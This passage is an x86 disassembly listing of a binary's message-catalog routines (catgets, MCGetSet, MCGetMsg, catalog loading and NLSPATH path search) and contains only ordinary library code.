; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E060:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 5		; case -0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E06C:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 6		; case -0x6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E078:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 0Dh	; case -0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E084:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 1		; case -0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E090:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 0Eh	; case -0x8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E09C:				; CODE XREF: sub_805DFE0+Cj
		mov	eax, 6		; default
		mov	esp, ebp
		pop	ebp
		retn
sub_805DFE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E0A8	proc near

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ds:byte_807E358, 0
		jnz	short loc_805E0E3
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_805D5F8
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E0FB
		mov	esi, offset byte_807E358
		mov	edi, offset aNone ; "(none)"
		mov	ecx, 7
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_805E0FB

loc_805E0E3:				; CODE XREF: sub_805E0A8+13j
		test	ebx, ebx
		jz	short loc_805E0ED
		mov	dword ptr [ebx], offset	byte_807E358

loc_805E0ED:				; CODE XREF: sub_805E0A8+3Dj
		push	offset byte_807E358
		call	sub_805D328
		test	eax, eax
		jz	short loc_805E100

loc_805E0FB:				; CODE XREF: sub_805E0A8+23j
					; sub_805E0A8+39j
		xor	eax, eax
		jmp	short loc_805E105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E100:				; CODE XREF: sub_805E0A8+51j
		mov	eax, 1

loc_805E105:				; CODE XREF: sub_805E0A8+55j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E0A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E110	proc near		; CODE XREF: sub_805E954+1Fp

var_464		= byte ptr -464h
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= byte ptr -440h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 458h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_444], 0
		mov	[ebp+var_448], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805E16E
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax],	0
		jz	short loc_805E16E
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	2Fh
		jnz	short loc_805E178
		mov	[ebp+var_444], ecx
		lea	eax, [ebp+var_440]
		push	eax
		mov	ecx, [ebp+var_444]
		push	ecx
		push	1
		call	stat
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jz	loc_805E3D6

loc_805E16E:				; CODE XREF: sub_805E110+24j
					; sub_805E110+2Cj ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_805E3EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E178:				; CODE XREF: sub_805E110+34j
		push	0
		push	5
		call	sub_8062D4C
		mov	[ebp+var_44C], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_805E198
		mov	[ebp+var_44C], offset aC_1 ; "C"

loc_805E198:				; CODE XREF: sub_805E110+7Cj
		push	offset aNlspath	; "NLSPATH"
		call	secure_getenv
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_805E1B0
		mov	esi, offset aEtcLocaleLN_ca ; "/etc/locale/%L/%N.cat:/usr/lib/locale/%"...

loc_805E1B0:				; CODE XREF: sub_805E110+99j
		cmp	dword_8078F98, 0
		jz	loc_805E268
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		mov	edi, dword_8078F98
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		sub	eax, edx
		push	eax
		call	malloc
		mov	[ebp+var_448], eax
		add	esp, 4
		test	eax, eax
		jz	loc_805E16E
		push	esi
		mov	eax, [ebp+var_448]
		push	eax
		call	strcpy
		xor	dl, dl
		mov	edi, [ebp+var_448]
		mov	al, dl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_458], edx
		add	esp, 8
		mov	eax, [ebp+var_448]
		cmp	byte ptr [eax+edx-2], 3Ah
		jz	short loc_805E24D
		mov	eax, dword_8078F98
		cmp	byte ptr [eax],	3Ah
		jz	short loc_805E24D
		push	offset asc_806940E ; ":"
		mov	ecx, [ebp+var_448]
		push	ecx
		call	sub_80577C0
		add	esp, 8

loc_805E24D:				; CODE XREF: sub_805E110+11Dj
					; sub_805E110+127j
		mov	eax, dword_8078F98
		push	eax
		mov	ecx, [ebp+var_448]
		push	ecx
		call	sub_80577C0
		mov	esi, [ebp+var_448]
		add	esp, 8

loc_805E268:				; CODE XREF: sub_805E110+A7j
		xor	dl, dl
		mov	edi, esi
		mov	al, dl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_458], edx
		mov	ebx, edx
		dec	ebx
		mov	eax, edx
		inc	eax
		push	eax
		call	malloc
		mov	[ebp+var_450], eax
		mov	[ebp+var_454], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E2B0
		jmp	loc_805E16E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E2A4:				; CODE XREF: sub_805E110+270j
		mov	[ebp+var_444], ebx
		jmp	loc_805E3A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E2B0:				; CODE XREF: sub_805E110+18Dj
		push	esi
		mov	ecx, [ebp+var_454]
		push	ecx
		call	strcpy
		mov	eax, [ebp+var_454]
		mov	byte ptr [ebx+eax], 3Ah
		mov	byte ptr [eax+ebx+1], 0
		mov	esi, [ebp+var_454]
		add	esp, 8
		cmp	byte ptr [eax],	0
		jz	loc_805E3A2
		lea	esi, [esi]

loc_805E2E0:				; CODE XREF: sub_805E110+28Cj
		mov	ecx, [ebp+var_454]
		cmp	byte ptr [ecx],	3Ah
		jnz	loc_805E38D
		mov	byte ptr [ecx],	0
		lea	ebx, [ebp+var_400]
		cmp	byte ptr [esi],	0
		jz	short loc_805E363
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805E300:				; CODE XREF: sub_805E110+251j
		cmp	byte ptr [esi],	25h
		jnz	short loc_805E358
		cmp	byte ptr [esi+1], 4Ch
		jnz	short loc_805E324
		inc	esi
		mov	eax, [ebp+var_44C]
		push	eax
		push	ebx
		call	strcpy
		mov	edi, [ebp+var_44C]
		jmp	short loc_805E338
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E324:				; CODE XREF: sub_805E110+1F9j
		cmp	byte ptr [esi+1], 4Eh
		jnz	short loc_805E358
		inc	esi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	strcpy
		mov	edi, [ebp+arg_0]

loc_805E338:				; CODE XREF: sub_805E110+20Fj
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_458], edx
		lea	ebx, [ebx+edx-1]
		add	esp, 8
		jmp	short loc_805E35D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E358:				; CODE XREF: sub_805E110+1F3j
					; sub_805E110+218j
		mov	al, [esi]
		mov	[ebx], al
		inc	ebx

loc_805E35D:				; CODE XREF: sub_805E110+243j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_805E300

loc_805E363:				; CODE XREF: sub_805E110+1EBj
		mov	byte ptr [ebx],	0
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_440]
		push	eax
		push	ebx
		push	1
		call	stat
		add	esp, 0Ch
		test	eax, eax
		jz	loc_805E2A4
		mov	esi, [ebp+var_454]
		inc	esi

loc_805E38D:				; CODE XREF: sub_805E110+1D9j
		inc	[ebp+var_454]
		mov	eax, [ebp+var_454]
		cmp	byte ptr [eax],	0
		jnz	loc_805E2E0

loc_805E3A2:				; CODE XREF: sub_805E110+19Aj
					; sub_805E110+1C8j
		mov	ecx, [ebp+var_450]
		push	ecx
		call	free
		add	esp, 4
		cmp	[ebp+var_448], 0
		jz	short loc_805E3C9
		mov	eax, [ebp+var_448]
		push	eax
		call	free
		add	esp, 4

loc_805E3C9:				; CODE XREF: sub_805E110+2A8j
		cmp	[ebp+var_444], 0
		jz	loc_805E16E

loc_805E3D6:				; CODE XREF: sub_805E110+58j
		lea	ecx, [ebp+var_440]
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_444]
		push	ecx
		call	sub_805E640
		mov	edx, eax

loc_805E3EF:				; CODE XREF: sub_805E110+63j
		lea	esp, [ebp+var_464]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E110	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

MCGetSet	proc near		; CODE XREF: catgets+13p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_805E42C
		cmp	[ebp+arg_0], 0
		jz	short loc_805E42C
		cmp	[ebp+arg_4], 0
		jle	short loc_805E42C
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+0Ch], eax
		jle	short loc_805E434
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E42C:				; CODE XREF: MCGetSet+Aj MCGetSet+10j	...
		xor	eax, eax
		jmp	loc_805E4C2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E434:				; CODE XREF: MCGetSet+24j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+0Ch]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1
		lea	esi, [esi]

loc_805E44C:				; CODE XREF: MCGetSet+2Bj MCGetSet+9Aj ...
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*8]
		add	eax, ecx
		mov	ebx, eax
		mov	edx, [ebp+arg_0]
		add	ebx, [edx+10h]
		mov	edx, [ebp+arg_4]
		cmp	[ebx], edx
		jz	short loc_805E4B0
		jge	short loc_805E480
		lea	edi, [ecx+1]
		mov	eax, edx
		sub	eax, [ebx]
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_805E476
		mov	esi, eax

loc_805E476:				; CODE XREF: MCGetSet+76j
		mov	ebx, 1
		jmp	short loc_805E487
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E480:				; CODE XREF: MCGetSet+67j
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_805E487:				; CODE XREF: MCGetSet+7Fj
		cmp	edi, esi
		jge	short loc_805E42C
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_805E498
		add	ecx, ebx
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E498:				; CODE XREF: MCGetSet+96j
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E4B0:				; CODE XREF: MCGetSet+65j
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_805E4C0
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805E844

loc_805E4C0:				; CODE XREF: MCGetSet+B8j
		mov	eax, ebx

loc_805E4C2:				; CODE XREF: MCGetSet+32j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
MCGetSet	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

MCGetMsg	proc near		; CODE XREF: catgets+1Cp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	short loc_805E4FC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_805E4FC
		cmp	[ebp+arg_4], 0
		jle	short loc_805E4FC
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+14h], eax
		jle	short loc_805E500
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E4FC:				; CODE XREF: MCGetMsg+Aj MCGetMsg+13j	...
		xor	eax, eax
		jmp	short loc_805E578
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E500:				; CODE XREF: MCGetMsg+27j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+14h]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1
		lea	esi, [esi]

loc_805E518:				; CODE XREF: MCGetMsg+2Ej MCGetMsg+92j ...
		lea	eax, [ecx+ecx*2]
		shl	eax, 2
		mov	edx, [ebp+arg_0]
		add	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		cmp	[eax], edx
		jz	short loc_805E578
		jge	short loc_805E548
		lea	edi, [ecx+1]
		sub	edx, [eax]
		mov	eax, edx
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_805E53E
		mov	esi, eax

loc_805E53E:				; CODE XREF: MCGetMsg+6Ej
		mov	ebx, 1
		jmp	short loc_805E54F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E548:				; CODE XREF: MCGetMsg+5Fj
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_805E54F:				; CODE XREF: MCGetMsg+77j
		cmp	edi, esi
		jge	short loc_805E4FC
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_805E560
		add	ecx, ebx
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E560:				; CODE XREF: MCGetMsg+8Ej
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E578:				; CODE XREF: MCGetMsg+32j MCGetMsg+5Dj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
MCGetMsg	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

catgets		proc near		; CODE XREF: init_services_resolv+2A7p
					; init_services_resolv+2CDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		push	eax
		push	edx
		push	ecx
		call	MCGetSet
		add	esp, 8
		push	eax
		call	MCGetMsg
		mov	edx, ebx
		test	eax, eax
		jz	short loc_805E5AE
		mov	edx, [eax+4]

loc_805E5AE:				; CODE XREF: catgets+25j
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
catgets		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E5B8	proc near

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_805E5CD
		test	edi, edi
		jnz	short loc_805E5D4

loc_805E5CD:				; CODE XREF: sub_805E5B8+Fj
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805E634
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E5D4:				; CODE XREF: sub_805E5B8+13j
		cmp	dword ptr [edi], 1
		jz	short loc_805E5E9
		mov	eax, [edi+8]
		push	eax
		mov	eax, [edi+4]
		push	eax
		call	munmap
		add	esp, 8

loc_805E5E9:				; CODE XREF: sub_805E5B8+1Fj
		xor	esi, esi
		cmp	[edi+0Ch], esi
		jle	short loc_805E623
		mov	[ebp+var_4], 0
		nop

loc_805E5F8:				; CODE XREF: sub_805E5B8+69j
		mov	ebx, [ebp+var_4]
		add	ebx, [edi+10h]
		cmp	dword ptr [ebx+18h], 0
		jnz	short loc_805E619
		mov	eax, [ebx+0Ch]
		push	eax
		call	free
		mov	eax, [ebx+8]
		push	eax
		call	free
		add	esp, 8

loc_805E619:				; CODE XREF: sub_805E5B8+4Aj
		add	[ebp+var_4], 1Ch
		inc	esi
		cmp	[edi+0Ch], esi
		jg	short loc_805E5F8

loc_805E623:				; CODE XREF: sub_805E5B8+36j
		mov	eax, [edi+10h]
		push	eax
		call	free
		push	edi
		call	free
		xor	eax, eax

loc_805E634:				; CODE XREF: sub_805E5B8+1Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E5B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E640	proc near		; CODE XREF: sub_805E110+2D8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	18h
		call	malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_805E66C
		mov	eax, 0FFFFFFFFh
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E66C:				; CODE XREF: sub_805E640+1Dj
		mov	[esi], ebx
		push	0
		push	edi
		call	open
		mov	[esi+4], eax
		add	esp, 8
		test	eax, eax
		jge	short loc_805E688
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E688:				; CODE XREF: sub_805E640+3Ej
		push	0
		mov	eax, [esi+4]
		push	eax
		push	1
		push	1
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+14h]
		mov	[esi+8], eax
		push	eax
		push	0
		call	mmap
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_805E6C0
		mov	eax, [esi+4]
		push	eax
		call	close
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E6C0:				; CODE XREF: sub_805E640+6Bj
		mov	eax, [esi+4]
		push	eax
		call	close
		add	esp, 4
		cmp	dword ptr [esi+8], 1Bh
		jbe	loc_805E7F8
		push	8
		push	offset aNazgul	; "*nazgul*"
		mov	[esi+4], ebx
		push	ebx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_805E7F8
		mov	eax, [esi+4]
		cmp	dword ptr [eax+8], 1
		jz	short loc_805E71C
		push	1
		mov	eax, [eax+8]
		push	eax
		push	edi
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSSIsVersionDWe ; "%s: %s is version %d,	we need	%d.\n"
		push	offset unk_80787A4
		call	fprintf
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E71C:				; CODE XREF: sub_805E640+B8j
		mov	eax, [esi+4]
		cmp	dword ptr [eax+14h], 0
		jg	short loc_805E748
		mov	eax, [eax+14h]
		push	eax
		push	edi
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSSHasDSets ; "%s: %s has %d sets!\n"
		push	offset unk_80787A4
		call	fprintf
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E748:				; CODE XREF: sub_805E640+E3j
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		lea	edx, [eax+eax*2]
		lea	edx, [edx+edx*8]
		add	eax, edx
		push	eax
		call	malloc
		mov	[esi+10h], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E790

loc_805E76F:				; CODE XREF: sub_805E640+1B2j
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSNoMoreMemory_ ; "%s: no more memory.\n"
		push	offset unk_80787A4
		call	fprintf
		mov	eax, 0FFFFFFFFh
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E790:				; CODE XREF: sub_805E640+12Dj
		mov	eax, [esi+4]
		mov	edx, [eax+18h]
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jle	loc_805E824
		mov	[ebp+var_4], 0

loc_805E7A8:				; CODE XREF: sub_805E640+1E2j
		cmp	[esi+8], edx
		jl	short loc_805E7F8
		mov	ebx, [ebp+var_4]
		add	ebx, [esi+10h]
		lea	eax, [edx+1Ch]
		cmp	[esi+8], eax
		jb	short loc_805E7F8
		push	1Ch
		push	ebx
		mov	eax, edx
		add	eax, [esi+4]
		push	eax
		call	bcopy
		add	esp, 0Ch
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_805E7DC
		add	[ebp+var_4], 0FFFFFFE4h
		dec	edi
		jmp	short loc_805E817
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E7DC:				; CODE XREF: sub_805E640+190j
		cmp	dword ptr [esi], 1
		jnz	short loc_805E810
		push	ebx
		push	esi
		call	sub_805E844
		add	esp, 8
		test	eax, eax
		jg	short loc_805E817
		cmp	eax, 0FFFFFFFFh
		jz	loc_805E76F

loc_805E7F8:				; CODE XREF: sub_805E640+90j
					; sub_805E640+ABj ...
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSCorruptFile_ ;	"%s: corrupt file.\n"
		push	offset unk_80787A4
		call	fprintf
		xor	eax, eax
		jmp	short loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E810:				; CODE XREF: sub_805E640+19Fj
		mov	dword ptr [ebx+18h], 0FFFFFFFFh

loc_805E817:				; CODE XREF: sub_805E640+197j
					; sub_805E640+1ADj
		mov	edx, [ebx+4]
		add	[ebp+var_4], 1Ch
		inc	edi
		cmp	[esi+0Ch], edi
		jg	short loc_805E7A8

loc_805E824:				; CODE XREF: sub_805E640+15Bj
		cmp	dword ptr [esi], 1
		jnz	short loc_805E836
		mov	eax, [esi+8]
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	munmap

loc_805E836:				; CODE XREF: sub_805E640+1E7j
		mov	eax, esi

loc_805E838:				; CODE XREF: sub_805E640+24j
					; sub_805E640+42j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E640	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E844	proc near		; CODE XREF: MCGetSet+BFp
					; sub_805E640+1A3p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+0Ch]
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		call	malloc
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_805E8D5
